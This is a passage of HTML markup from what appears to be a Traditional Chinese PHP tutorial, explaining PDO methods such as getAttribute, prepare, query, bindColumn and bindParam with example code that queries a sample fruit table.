comments\">*\/<\/code><\/div>\n<\/div>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/div>\n<\/div>\n<\/div>\n<div><\/div>\n<div>PDO::getAttribute<\/div>\n<div>\u53d6\u56de\u4e00\u500b\u8cc7\u6599\u5eab\u9023\u7d50\u7684\u5c6c\u6027<\/div>\n<div>\n<ol>\n<li>PDO::ATTR_AUTOCOMMIT<\/li>\n<li>PDO::ATTR_CASE<\/li>\n<li>PDO::ATTR_CLIENT_VERSION<\/li>\n<li>PDO::ATTR_CONNECTION_STATUS<\/li>\n<li>PDO::ATTR_DRIVER_NAME<\/li>\n<li>PDO::ATTR_ERRMODE<\/li>\n<li>PDO::ATTR_ORACLE_NULLS<\/li>\n<li>PDO::ATTR_PERSISTENT<\/li>\n<li>PDO::ATTR_PREFETCH<\/li>\n<li>PDO::ATTR_SERVER_INFO<\/li>\n<li>PDO::ATTR_SERVER_VERSION<\/li>\n<li>PDO::ATTR_TIMEOUT<\/li>\n<\/ol>\n<div>\u4e00\u500b\u7c21\u55ae\u7684\u7bc4\u4f8b<\/div>\n<div>\n<div>\n<div id=\"highlighter_740124\" class=\"syntaxhighlighter  php\">\n<table border=\"0\" cellspacing=\"0\" cellpadding=\"0\">\n<tbody>\n<tr>\n<td class=\"gutter\">\n<div class=\"line number1 index0 alt2\">1<\/div>\n<div class=\"line number2 index1 alt1\">2<\/div>\n<div class=\"line number3 index2 alt2\">3<\/div>\n<div class=\"line number4 index3 alt1\">4<\/div>\n<div class=\"line number5 index4 alt2\">5<\/div>\n<div class=\"line number6 index5 alt1\">6<\/div>\n<div class=\"line number7 index6 alt2\">7<\/div>\n<div class=\"line number8 index7 alt1\">8<\/div>\n<div class=\"line number9 index8 alt2\">9<\/div>\n<div class=\"line number10 index9 alt1\">10<\/div>\n<div class=\"line number11 index10 alt2\">11<\/div>\n<\/td>\n<td class=\"code\">\n<div class=\"container\">\n<div class=\"line number1 index0 alt2\"><code class=\"php variable\">$conn<\/code> <code class=\"php plain\">= <\/code><code class=\"php keyword\">new<\/code> <code class=\"php plain\">PDO(<\/code><code class=\"php string\">'odbc:sample'<\/code><code class=\"php plain\">, <\/code><code class=\"php string\">'db2inst1'<\/code><code class=\"php plain\">, <\/code><code class=\"php string\">'ibmdb2'<\/code><code class=\"php plain\">);<\/code><\/div>\n<div class=\"line number2 index1 alt1\"><code class=\"php variable\">$attributes<\/code> <code class=\"php plain\">= <\/code><code class=\"php keyword\">array<\/code><code class=\"php plain\">(<\/code><\/div>\n<div class=\"line number3 index2 alt2\"><code class=\"php spaces\">\u00a0\u00a0\u00a0\u00a0<\/code><code class=\"php string\">\"AUTOCOMMIT\"<\/code><code class=\"php plain\">, <\/code><code class=\"php string\">\"ERRMODE\"<\/code><code class=\"php plain\">, <\/code><code class=\"php string\">\"CASE\"<\/code><code class=\"php plain\">, <\/code><code class=\"php string\">\"CLIENT_VERSION\"<\/code><code class=\"php plain\">, <\/code><code class=\"php string\">\"CONNECTION_STATUS\"<\/code><code class=\"php plain\">,<\/code><\/div>\n<div class=\"line number4 index3 alt1\"><code class=\"php spaces\">\u00a0\u00a0\u00a0\u00a0<\/code><code class=\"php string\">\"ORACLE_NULLS\"<\/code><code class=\"php plain\">, <\/code><code class=\"php string\">\"PERSISTENT\"<\/code><code class=\"php plain\">, <\/code><code class=\"php string\">\"PREFETCH\"<\/code><code class=\"php plain\">, <\/code><code class=\"php string\">\"SERVER_INFO\"<\/code><code class=\"php plain\">, <\/code><code class=\"php string\">\"SERVER_VERSION\"<\/code><code class=\"php plain\">,<\/code><\/div>\n<div class=\"line number5 index4 alt2\"><code class=\"php spaces\">\u00a0\u00a0\u00a0\u00a0<\/code><code class=\"php string\">\"TIMEOUT\"<\/code><\/div>\n<div class=\"line number6 index5 alt1\"><code class=\"php plain\">);<\/code><\/div>\n<div class=\"line number7 index6 alt2\"><\/div>\n<div class=\"line number8 index7 alt1\"><code class=\"php keyword\">foreach<\/code> <code class=\"php plain\">(<\/code><code class=\"php variable\">$attributes<\/code> <code class=\"php keyword\">as<\/code> <code class=\"php variable\">$val<\/code><code class=\"php plain\">) {<\/code><\/div>\n<div class=\"line number9 index8 alt2\"><code class=\"php spaces\">\u00a0\u00a0\u00a0\u00a0<\/code><code class=\"php functions\">echo<\/code> <code class=\"php string\">\"PDO::ATTR_$val: \"<\/code><code class=\"php plain\">;<\/code><\/div>\n<div class=\"line number10 index9 alt1\"><code class=\"php spaces\">\u00a0\u00a0\u00a0\u00a0<\/code><code class=\"php functions\">echo<\/code> <code class=\"php variable\">$conn<\/code><code class=\"php plain\">-&gt;getAttribute(constant(<\/code><code class=\"php string\">\"PDO::ATTR_$val\"<\/code><code class=\"php plain\">)) . <\/code><code class=\"php string\">\"\\n\"<\/code><code class=\"php plain\">;<\/code><\/div>\n<div class=\"line number11 index10 alt2\"><code class=\"php plain\">}<\/code><\/div>\n<\/div>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/div>\n<\/div>\n<div><\/div>\n<div>PDO::getAvailableDrivers<\/div>\n<div>\u56de\u50b3\u4e00\u500b\u53ef\u4f7f\u7528\u7684\u9a45\u52d5<\/div>\n<div><\/div>\n<div>\u4e00\u500b\u7c21\u55ae\u7684\u7bc4\u4f8b<\/div>\n<div>\n<div>\n<div id=\"highlighter_665821\" class=\"syntaxhighlighter  php\">\n<table border=\"0\" cellspacing=\"0\" cellpadding=\"0\">\n<tbody>\n<tr>\n<td class=\"gutter\">\n<div class=\"line number1 index0 alt2\">1<\/div>\n<\/td>\n<td class=\"code\">\n<div class=\"container\">\n<div class=\"line number1 index0 alt2\"><code class=\"php plain\">print_r(PDO::getAvailableDrivers());<\/code><\/div>\n<\/div>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/div>\n<\/div>\n<\/div>\n<div><\/div>\n<div>PDO::inTransaction<\/div>\n<div>\u6aa2\u67e5\u662f\u5426\u5728\u4e00\u500bTransactions\u5167<\/div>\n<div><\/div>\n<div>PDO::lastInsertId<\/div>\n<div>\u56de\u50b3\u6700\u5f8c\u63d2\u5165\u7684id\u6216\u5e8f\u5217\u503c<\/div>\n<div><\/div>\n<div>PDO::prepare<\/div>\n<div>\u9810\u5148\u6e96\u5099\u8a9e\u53e5 \u56de\u50b3\u4e00\u500b\u8a9e\u53e5\u7684\u7269\u4ef6<\/div>\n<div>\u4e00\u500b\u7c21\u55ae\u7684\u7bc4\u4f8b<\/div>\n<div>\n<div>\n<div id=\"highlighter_664796\" class=\"syntaxhighlighter  php\">\n<table border=\"0\" cellspacing=\"0\" cellpadding=\"0\">\n<tbody>\n<tr>\n<td class=\"gutter\">\n<div class=\"line number1 index0 alt2\">1<\/div>\n<div class=\"line number2 index1 alt1\">2<\/div>\n<div class=\"line number3 index2 alt2\">3<\/div>\n<div class=\"line number4 index3 alt1\">4<\/div>\n<div class=\"line number5 index4 alt2\">5<\/div>\n<div class=\"line number6 index5 alt1\">6<\/div>\n<div class=\"line number7 index6 alt2\">7<\/div>\n<div class=\"line number8 index7 alt1\">8<\/div>\n<div class=\"line number9 index8 alt2\">9<\/div>\n<div class=\"line number10 index9 alt1\">10<\/div>\n<div class=\"line number11 index10 alt2\">11<\/div>\n<div class=\"line number12 index11 alt1\">12<\/div>\n<div class=\"line number13 index12 alt2\">13<\/div>\n<div class=\"line number14 index13 alt1\">14<\/div>\n<div class=\"line number15 index14 alt2\">15<\/div>\n<div class=\"line number16 index15 alt1\">16<\/div>\n<div class=\"line number17 index16 alt2\">17<\/div>\n<div class=\"line number18 index17 alt1\">18<\/div>\n<\/td>\n<td class=\"code\">\n<div class=\"container\">\n<div class=\"line number1 index0 alt2\"><code class=\"php variable\">$sql<\/code> <code class=\"php plain\">= 'SELECT name, colour, calories<\/code><\/div>\n<div class=\"line number2 index1 alt1\"><code class=\"php spaces\">\u00a0\u00a0\u00a0\u00a0<\/code><code class=\"php plain\">FROM fruit<\/code><\/div>\n<div class=\"line number3 index2 alt2\"><code class=\"php spaces\">\u00a0\u00a0\u00a0\u00a0<\/code><code class=\"php plain\">WHERE calories &lt; :calories AND colour = :colour';<\/code><\/div>\n<div class=\"line number4 index3 alt1\"><code class=\"php variable\">$sth<\/code> <code class=\"php plain\">= <\/code><code class=\"php variable\">$dbh<\/code><code class=\"php plain\">-&gt;prepare(<\/code><code class=\"php variable\">$sql<\/code><code class=\"php plain\">, <\/code><code class=\"php keyword\">array<\/code><code class=\"php plain\">(PDO::ATTR_CURSOR =&gt; PDO::CURSOR_FWDONLY));<\/code><\/div>\n<div class=\"line number5 index4 alt2\"><code class=\"php variable\">$sth<\/code><code class=\"php plain\">-&gt;execute(<\/code><code class=\"php keyword\">array<\/code><code class=\"php plain\">(<\/code><code class=\"php string\">':calories'<\/code> <code class=\"php plain\">=&gt; 150, <\/code><code class=\"php string\">':colour'<\/code> <code class=\"php plain\">=&gt; <\/code><code class=\"php string\">'red'<\/code><code class=\"php plain\">));<\/code><\/div>\n<div class=\"line number6 index5 alt1\"><code class=\"php variable\">$red<\/code> <code class=\"php plain\">= <\/code><code class=\"php variable\">$sth<\/code><code class=\"php plain\">-&gt;fetchAll();<\/code><\/div>\n<div class=\"line number7 index6 alt2\"><code class=\"php variable\">$sth<\/code><code class=\"php plain\">-&gt;execute(<\/code><code class=\"php keyword\">array<\/code><code class=\"php plain\">(<\/code><code class=\"php string\">':calories'<\/code> <code class=\"php plain\">=&gt; 175, <\/code><code class=\"php string\">':colour'<\/code> <code class=\"php plain\">=&gt; <\/code><code class=\"php string\">'yellow'<\/code><code class=\"php plain\">));<\/code><\/div>\n<div class=\"line number8 index7 alt1\"><code class=\"php variable\">$yellow<\/code> <code class=\"php plain\">= <\/code><code class=\"php variable\">$sth<\/code><code class=\"php plain\">-&gt;fetchAll();<\/code><\/div>\n<div class=\"line number9 index8 alt2\"><\/div>\n<div class=\"line number10 index9 alt1\"><code class=\"php comments\">\/\/ \u57f7\u884c\u91cd\u8907\u8a9e\u53e5<\/code><\/div>\n<div class=\"line number11 index10 alt2\"><code class=\"php comments\">\/*\u00a0Execute\u00a0a\u00a0prepared\u00a0statement\u00a0by\u00a0passing\u00a0an\u00a0array\u00a0of\u00a0values\u00a0*\/<\/code><\/div>\n<div class=\"line number12 index11 alt1\"><code class=\"php variable\">$sth<\/code>\u00a0<code class=\"php plain\">=\u00a0<\/code><code class=\"php variable\">$dbh<\/code><code class=\"php plain\">-&gt;prepare('SELECT\u00a0name,\u00a0colour,\u00a0calories<\/code><\/div>\n<div class=\"line number13 index12 alt2\"><code class=\"php spaces\">\u00a0\u00a0\u00a0\u00a0<\/code><code class=\"php plain\">FROM\u00a0fruit<\/code><\/div>\n<div class=\"line number14 index13 alt1\"><code class=\"php spaces\">\u00a0\u00a0\u00a0\u00a0<\/code><code class=\"php plain\">WHERE\u00a0calories\u00a0&lt;\u00a0?\u00a0AND\u00a0colour\u00a0=\u00a0?');<\/code><\/div>\n<div class=\"line number15 index14 alt2\"><code class=\"php variable\">$sth<\/code><code class=\"php plain\">-&gt;execute(<\/code><code class=\"php keyword\">array<\/code><code class=\"php plain\">(150,\u00a0<\/code><code class=\"php string\">'red'<\/code><code class=\"php plain\">));<\/code><\/div>\n<div class=\"line number16 index15 alt1\"><code class=\"php variable\">$red<\/code>\u00a0<code class=\"php plain\">=\u00a0<\/code><code class=\"php variable\">$sth<\/code><code class=\"php plain\">-&gt;fetchAll();<\/code><\/div>\n<div class=\"line number17 index16 alt2\"><code class=\"php variable\">$sth<\/code><code class=\"php plain\">-&gt;execute(<\/code><code class=\"php keyword\">array<\/code><code class=\"php plain\">(175,\u00a0<\/code><code class=\"php string\">'yellow'<\/code><code class=\"php plain\">));<\/code><\/div>\n<div class=\"line number18 index17 alt1\"><code class=\"php variable\">$yellow<\/code>\u00a0<code class=\"php plain\">=\u00a0<\/code><code class=\"php variable\">$sth<\/code><code class=\"php plain\">-&gt;fetchAll();<\/code><\/div>\n<\/div>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/div>\n<\/div>\n<div>\n<h1>PDO::query<\/h1>\n<div>\u57f7\u884cSQL\u8a9e\u53e5\u4e26\u56de\u50b3\u7d50\u679c<\/div>\n<div>\u4e00\u500b\u7c21\u55ae\u7684\u7bc4\u4f8b<\/div>\n<div>\n<div>\n<div id=\"highlighter_50638\" class=\"syntaxhighlighter  php\">\n<table border=\"0\" cellspacing=\"0\" cellpadding=\"0\">\n<tbody>\n<tr>\n<td class=\"gutter\">\n<div class=\"line number1 index0 alt2\">1<\/div>\n<div class=\"line number2 index1 alt1\">2<\/div>\n<div class=\"line number3 index2 alt2\">3<\/div>\n<div class=\"line number4 index3 alt1\">4<\/div>\n<div class=\"line number5 index4 alt2\">5<\/div>\n<div class=\"line number6 index5 alt1\">6<\/div>\n<div class=\"line number7 index6 alt2\">7<\/div>\n<div class=\"line number8 index7 alt1\">8<\/div>\n<div class=\"line number9 index8 alt2\">9<\/div>\n<div class=\"line number10 index9 alt1\">10<\/div>\n<div class=\"line number11 index10 alt2\">11<\/div>\n<div class=\"line number12 index11 alt1\">12<\/div>\n<div class=\"line number13 index12 alt2\">13<\/div>\n<div class=\"line number14 index13 alt1\">14<\/div>\n<div class=\"line number15 index14 alt2\">15<\/div>\n<div class=\"line number16 index15 alt1\">16<\/div>\n<div class=\"line number17 index16 alt2\">17<\/div>\n<div class=\"line number18 index17 alt1\">18<\/div>\n<\/td>\n<td class=\"code\">\n<div class=\"container\">\n<div class=\"line number1 index0 alt2\"><code class=\"php keyword\">function<\/code> <code class=\"php plain\">getFruit(<\/code><code class=\"php variable\">$conn<\/code><code class=\"php plain\">) {<\/code><\/div>\n<div class=\"line number2 index1 alt1\"><code class=\"php spaces\">\u00a0\u00a0\u00a0\u00a0<\/code><code class=\"php variable\">$sql<\/code> <code class=\"php plain\">= <\/code><code class=\"php string\">'SELECT name, color, calories FROM fruit ORDER BY name'<\/code><code class=\"php plain\">;<\/code><\/div>\n<div class=\"line number3 index2 alt2\"><code class=\"php spaces\">\u00a0\u00a0\u00a0\u00a0<\/code><code class=\"php keyword\">foreach<\/code> <code class=\"php plain\">(<\/code><code class=\"php variable\">$conn<\/code><code class=\"php plain\">-&gt;query(<\/code><code class=\"php variable\">$sql<\/code><code class=\"php plain\">) <\/code><code class=\"php keyword\">as<\/code> <code class=\"php variable\">$row<\/code><code class=\"php plain\">) {<\/code><\/div>\n<div class=\"line number4 index3 alt1\"><code class=\"php spaces\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<\/code><code class=\"php functions\">print<\/code> <code class=\"php variable\">$row<\/code><code class=\"php plain\">[<\/code><code class=\"php string\">'name'<\/code><code class=\"php plain\">] . <\/code><code class=\"php string\">\"\\t\"<\/code><code class=\"php plain\">;<\/code><\/div>\n<div class=\"line number5 index4 alt2\"><code class=\"php spaces\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<\/code><code class=\"php functions\">print<\/code> <code class=\"php variable\">$row<\/code><code class=\"php plain\">[<\/code><code class=\"php string\">'color'<\/code><code class=\"php plain\">] . <\/code><code class=\"php string\">\"\\t\"<\/code><code class=\"php plain\">;<\/code><\/div>\n<div class=\"line number6 index5 alt1\"><code class=\"php spaces\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<\/code><code class=\"php functions\">print<\/code> <code class=\"php variable\">$row<\/code><code class=\"php plain\">[<\/code><code class=\"php string\">'calories'<\/code><code class=\"php plain\">] . <\/code><code class=\"php string\">\"\\n\"<\/code><code class=\"php plain\">;<\/code><\/div>\n<div class=\"line number7 index6 alt2\"><code class=\"php spaces\">\u00a0\u00a0\u00a0\u00a0<\/code><code class=\"php plain\">}<\/code><\/div>\n<div class=\"line number8 index7 alt1\"><code class=\"php plain\">\/*<\/code><\/div>\n<div class=\"line number9 index8 alt2\"><code class=\"php plain\">\u8f38\u51fa<\/code><\/div>\n<div class=\"line number10 index9 alt1\"><code class=\"php plain\">apple \u00a0 red \u00a0 \u00a0 150<\/code><\/div>\n<div class=\"line number11 index10 alt2\"><code class=\"php plain\">banana \u00a0yellow \u00a0250<\/code><\/div>\n<div class=\"line number12 index11 alt1\"><code class=\"php plain\">kiwi \u00a0 \u00a0brown \u00a0 75<\/code><\/div>\n<div class=\"line number13 index12 alt2\"><code class=\"php plain\">lemon \u00a0 yellow \u00a025<\/code><\/div>\n<div class=\"line number14 index13 alt1\"><code class=\"php plain\">orange \u00a0orange \u00a0300<\/code><\/div>\n<div class=\"line number15 index14 alt2\"><code class=\"php plain\">pear \u00a0 \u00a0green \u00a0 150<\/code><\/div>\n<div class=\"line number16 index15 alt1\"><code class=\"php plain\">watermelon \u00a0 \u00a0 \u00a0pink \u00a0 \u00a090<\/code><\/div>\n<div class=\"line number17 index16 alt2\"><code class=\"php plain\">\/*<\/code><\/div>\n<div class=\"line number18 index17 alt1\"><code class=\"php plain\">}<\/code><\/div>\n<\/div>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n<div class=\"item js-item clearfix    \" data-id=\"5765\" data-path=\"\" data-showborder=\"0\" data-position=\"1\" data-showwidth=\"120\" data-width=\"0\">\n<div class=\"sn\">8.<\/div>\n<div class=\"text\">\n<div class=\"note js-note\">\n<div>PDOStatement<\/div>\n<div>PDOStatement::bindColumn<\/div>\n<div><\/div>\n<div>\u4f7f\u7528\u65b9\u6cd5\uff1aPDOStatement::bindColumn\u00a0(\u00a0mixed\u00a0$column\u00a0,\u00a0mixed\u00a0&amp;$param\u00a0[,\u00a0int\u00a0$type\u00a0[,\u00a0int\u00a0$maxlen\u00a0[,\u00a0mixed\u00a0$driverdata\u00a0]]] )<\/div>\n<div><\/div>\n<div>\u53c3\u6578\u8aaa\u660e\uff1a<\/div>\n<div>\n<ul>\n<li>column\uff1a\u6b04\u4f4d\u5e8f\u865f\uff08\u5f9e1\u958b\u59cb\u7d22\u5f15\uff09\u6216\u6b04\u4f4d\u540d\u7a31\u3002\u5982\u679c\u4f7f\u7528\u6b04\u4f4d\u540d\u7a31\uff0c\u6ce8\u610f\u540d\u7a31\u61c9\u8a72\u8207\u7531\u9a45\u52d5\u56de\u50b3\u7684\u5217\u540d\u5927\u5c0f\u5beb\u4fdd\u6301\u4e00\u81f4\u3002<\/li>\n<li>param\uff1a\u5c07\u7d81\u5b9a\u5230\u5217\u7684 PHP \u8b8a\u6578\u540d\u7a31<\/li>\n<li>type\uff1a\u901a\u904e PDO::PARAM_* \u5e38\u6578\u6307\u5b9a\u7684\u53c3\u6578\u7684\u8cc7\u6599\u985e\u578b\u3002<\/li>\n<li>maxlen\uff1a\u9810\u5206\u914d\u63d0\u793a\u3002<\/li>\n<li>driverdata\uff1a\u9a45\u52d5\u7684\u53ef\u9078\u53c3\u6578\u3002<\/li>\n<\/ul>\n<div>\u4e00\u500b\u7c21\u55ae\u7684\u7bc4\u4f8b<\/div>\n<div>\n<div>\n<div id=\"highlighter_654894\" class=\"syntaxhighlighter  php\">\n<table border=\"0\" cellspacing=\"0\" cellpadding=\"0\">\n<tbody>\n<tr>\n<td class=\"gutter\">\n<div class=\"line number1 index0 alt2\">1<\/div>\n<div class=\"line number2 index1 alt1\">2<\/div>\n<div class=\"line number3 index2 alt2\">3<\/div>\n<div class=\"line number4 index3 alt1\">4<\/div>\n<div class=\"line number5 index4 alt2\">5<\/div>\n<div class=\"line number6 index5 alt1\">6<\/div>\n<div class=\"line number7 index6 alt2\">7<\/div>\n<div class=\"line number8 index7 alt1\">8<\/div>\n<div class=\"line number9 index8 alt2\">9<\/div>\n<div class=\"line number10 index9 alt1\">10<\/div>\n<div class=\"line number11 index10 alt2\">11<\/div>\n<div class=\"line number12 index11 alt1\">12<\/div>\n<div class=\"line number13 index12 alt2\">13<\/div>\n<div class=\"line number14 index13 alt1\">14<\/div>\n<div class=\"line number15 index14 alt2\">15<\/div>\n<div class=\"line number16 index15 alt1\">16<\/div>\n<div class=\"line number17 index16 alt2\">17<\/div>\n<div class=\"line number18 index17 alt1\">18<\/div>\n<div class=\"line number19 index18 alt2\">19<\/div>\n<div class=\"line number20 index19 alt1\">20<\/div>\n<div class=\"line number21 index20 alt2\">21<\/div>\n<div class=\"line number22 index21 alt1\">22<\/div>\n<div class=\"line number23 index22 alt2\">23<\/div>\n<\/td>\n<td class=\"code\">\n<div class=\"container\">\n<div class=\"line number1 index0 alt2\"><code class=\"php keyword\">function<\/code>\u00a0<code class=\"php plain\">readData(<\/code><code class=\"php variable\">$dbh<\/code><code class=\"php plain\">)\u00a0{<\/code><\/div>\n<div class=\"line number2 index1 alt1\"><code class=\"php spaces\">\u00a0\u00a0<\/code><code class=\"php variable\">$sql<\/code>\u00a0<code class=\"php plain\">=\u00a0<\/code><code class=\"php string\">'SELECT\u00a0name,\u00a0colour,\u00a0calories\u00a0FROM\u00a0fruit'<\/code><code class=\"php plain\">;<\/code><\/div>\n<div class=\"line number3 index2 alt2\"><code class=\"php spaces\">\u00a0\u00a0<\/code><code class=\"php keyword\">try<\/code>\u00a0<code class=\"php plain\">{<\/code><\/div>\n<div class=\"line number4 index3 alt1\"><code class=\"php spaces\">\u00a0\u00a0\u00a0\u00a0<\/code><code class=\"php variable\">$stmt<\/code>\u00a0<code class=\"php plain\">=\u00a0<\/code><code class=\"php variable\">$dbh<\/code><code class=\"php plain\">-&gt;prepare(<\/code><code class=\"php variable\">$sql<\/code><code class=\"php plain\">);<\/code><\/div>\n<div class=\"line number5 index4 alt2\"><code class=\"php spaces\">\u00a0\u00a0\u00a0\u00a0<\/code><code class=\"php variable\">$stmt<\/code><code class=\"php plain\">-&gt;execute();<\/code><\/div>\n<div class=\"line number6 index5 alt1\"><\/div>\n<div class=\"line number7 index6 alt2\"><code class=\"php spaces\">\u00a0\u00a0\u00a0\u00a0<\/code><code class=\"php comments\">\/*\u00a0Bind\u00a0by\u00a0column\u00a0number\u00a0*\/<\/code><\/div>\n<div class=\"line number8 index7 alt1\"><code class=\"php spaces\">\u00a0\u00a0\u00a0\u00a0<\/code><code class=\"php variable\">$stmt<\/code><code class=\"php plain\">-&gt;bindColumn(1,\u00a0<\/code><code class=\"php variable\">$name<\/code><code class=\"php plain\">);<\/code><\/div>\n<div class=\"line number9 index8 alt2\"><code class=\"php spaces\">\u00a0\u00a0\u00a0\u00a0<\/code><code class=\"php variable\">$stmt<\/code><code class=\"php plain\">-&gt;bindColumn(2,\u00a0<\/code><code class=\"php variable\">$colour<\/code><code class=\"php plain\">);<\/code><\/div>\n<div class=\"line number10 index9 alt1\"><code class=\"php spaces\">\u00a0\u00a0\u00a0\u00a0<\/code><\/div>\n<div class=\"line number11 index10 alt2\"><code class=\"php spaces\">\u00a0\u00a0\u00a0\u00a0<\/code><code class=\"php comments\">\/*\u00a0Bind\u00a0by\u00a0column\u00a0name\u00a0*\/<\/code><\/div>\n<div class=\"line number12 index11 alt1\"><code class=\"php spaces\">\u00a0\u00a0\u00a0\u00a0<\/code><code class=\"php variable\">$stmt<\/code><code class=\"php plain\">-&gt;bindColumn(<\/code><code class=\"php string\">'calories'<\/code><code class=\"php plain\">,\u00a0<\/code><code class=\"php variable\">$cals<\/code><code class=\"php plain\">);<\/code><\/div>\n<div class=\"line number13 index12 alt2\"><\/div>\n<div class=\"line number14 index13 alt1\"><code class=\"php spaces\">\u00a0\u00a0\u00a0\u00a0<\/code><code class=\"php keyword\">while<\/code>\u00a0<code class=\"php plain\">(<\/code><code class=\"php variable\">$row<\/code>\u00a0<code class=\"php plain\">=\u00a0<\/code><code class=\"php variable\">$stmt<\/code><code class=\"php plain\">-&gt;fetch(PDO::FETCH_BOUND))\u00a0{<\/code><\/div>\n<div class=\"line number15 index14 alt2\"><code class=\"php spaces\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<\/code><code class=\"php variable\">$data<\/code>\u00a0<code class=\"php plain\">=\u00a0<\/code><code class=\"php variable\">$name<\/code>\u00a0<code class=\"php plain\">.\u00a0<\/code><code class=\"php string\">\"\\t\"<\/code>\u00a0<code class=\"php plain\">.\u00a0<\/code><code class=\"php variable\">$colour<\/code>\u00a0<code class=\"php plain\">.\u00a0<\/code><code class=\"php string\">\"\\t\"<\/code>\u00a0<code class=\"php plain\">.\u00a0<\/code><code class=\"php variable\">$cals<\/code>\u00a0<code class=\"php plain\">.\u00a0<\/code><code class=\"php string\">\"\\n\"<\/code><code class=\"php plain\">;<\/code><\/div>\n<div class=\"line number16 index15 alt1\"><code class=\"php spaces\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<\/code><code class=\"php functions\">print<\/code>\u00a0<code class=\"php variable\">$data<\/code><code class=\"php plain\">;<\/code><\/div>\n<div class=\"line number17 index16 alt2\"><code class=\"php spaces\">\u00a0\u00a0\u00a0\u00a0<\/code><code class=\"php plain\">}<\/code><\/div>\n<div class=\"line number18 index17 alt1\"><code class=\"php spaces\">\u00a0\u00a0<\/code><code class=\"php plain\">}<\/code><\/div>\n<div class=\"line number19 index18 alt2\"><code class=\"php spaces\">\u00a0\u00a0<\/code><code class=\"php keyword\">catch<\/code>\u00a0<code class=\"php plain\">(PDOException\u00a0<\/code><code class=\"php variable\">$e<\/code><code class=\"php plain\">)\u00a0{<\/code><\/div>\n<div class=\"line number20 index19 alt1\"><code class=\"php spaces\">\u00a0\u00a0\u00a0\u00a0<\/code><code class=\"php functions\">print<\/code>\u00a0<code class=\"php variable\">$e<\/code><code class=\"php plain\">-&gt;getMessage();<\/code><\/div>\n<div class=\"line number21 index20 alt2\"><code class=\"php spaces\">\u00a0\u00a0<\/code><code class=\"php plain\">}<\/code><\/div>\n<div class=\"line number22 index21 alt1\"><code class=\"php plain\">}<\/code><\/div>\n<div class=\"line number23 index22 alt2\"><code class=\"php plain\">readData(<\/code><code class=\"php variable\">$dbh<\/code><code class=\"php plain\">);<\/code><\/div>\n<\/div>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/div>\n<\/div>\n<\/div>\n<div><\/div>\n<div>PDOStatement::bindParam<\/div>\n<div>\u7ed1\u5b9a\u4e00\u4e2a\u53c3\u6578\u5230\u6307\u5b9a\u7684\u8b8a\u6578\u540d\u7a31<\/div>\n<div><\/div>\n<div>\u4f7f\u7528\u65b9\u6cd5\uff1a<\/div>\n<div>bool PDOStatement::bindParam ( mixed $parameter , mixed &amp;$variable [, int $data_type = PDO::PARAM_STR [, int $length [, mixed $driver_options ]]] )<\/div>\n<div><\/div>\n<\/div>\n<div>\u53c3\u6578\u8aaa\u660e\uff1a<\/div>\n<div>\n<ul>\n<li>parameter\uff1a\u53c3\u6578\u6a19\u8b58\u7b26\u865f\u3002\u5c0d\u65bc\u4f7f\u7528\u547d\u540d\u4f54\u4f4d\u7b26\u7684\u9810\u8655\u7406\u8a9e\u53e5\uff0c\u61c9\u662f\u985e\u4f3c :name \u5f62\u5f0f\u7684\u53c3\u6578\u540d\u3002\u5c0d\u65bc\u4f7f\u7528\u554f\u865f\u4f54\u4f4d\u7b26\u7684\u9810\u8655\u7406\u8a9e\u53e5\uff0c\u61c9\u662f\u4ee51\u958b\u59cb\u7d22\u5f15\u7684\u53c3\u6578\u4f4d\u7f6e\u3002<\/li>\n<li>variable\uff1a\u7d81\u5b9a\u5230 SQL \u8a9e\u53e5\u53c3\u6578\u7684 PHP \u8b8a\u91cf\u540d\u3002<\/li>\n<li>data_type\uff1a\u4f7f\u7528 PDO::PARAM_* \u5e38\u6578\u660e\u78ba\u5730\u6307\u5b9a\u53c3\u6578\u7684\u985e\u578b\u3002<\/li>\n<li>length\uff1a\u8cc7\u6599\u985e\u578b\u7684\u9577\u5ea6\u3002\u70ba\u8868\u660e\u53c3\u6578\u662f\u4e00\u500b\u5b58\u5132\u904e\u7a0b\u7684 OUT \u53c3\u6578\uff0c\u5fc5\u9808\u660e\u78ba\u5730\u8a2d\u7f6e\u6b64\u9577\u5ea6\u3002<\/li>\n<li>driver_options<\/li>\n<\/ul>\n<div>\u4e00\u500b\u7c21\u55ae\u7684\u7bc4\u4f8b<\/div>\n<div>\n<div>\n<div id=\"highlighter_442731\" class=\"syntaxhighlighter  php\">\n<table border=\"0\" cellspacing=\"0\" cellpadding=\"0\">\n<tbody>\n<tr>\n<td class=\"gutter\">\n<div class=\"line number1 index0 alt2\">1<\/div>\n<div class=\"line number2 index1 alt1\">2<\/div>\n<div class=\"line number3 index2 alt2\">3<\/div>\n<div class=\"line number4 index3 alt1\">4<\/div>\n<div class=\"line number5 index4 alt2\">5<\/div>\n<div class=\"line number6 index5 alt1\">6<\/div>\n<div class=\"line number7 index6 alt2\">7<\/div>\n<div class=\"line number8 index7 alt1\">8<\/div>\n<div class=\"line number9 index8 alt2\">9<\/div>\n<div class=\"line number10 index9 alt1\">10<\/div>\n<div class=\"line number11 index10 alt2\">11<\/div>\n<div class=\"line number12 index11 alt1\">12<\/div>\n<div class=\"line number13 index12 alt2\">13<\/div>\n<div class=\"line number14 index13 alt1\">14<\/div>\n<div class=\"line number15 index14 alt2\">15<\/div>\n<div class=\"line number16 index15 alt1\">16<\/div>\n<div class=\"line number17 index16 alt2\">17<\/div>\n<div class=\"line number18 index17 alt1\">18<\/div>\n<div class=\"line number19 index18 alt2\">19<\/div>\n<\/td>\n<td class=\"code\">\n<div class=\"container\">\n<div class=\"line number1 index0 alt2\"><code class=\"php comments\">\/* Execute a prepared statement by binding PHP variables *\/<\/code><\/div>\n<div class=\"line number2 index1 alt1\"><code 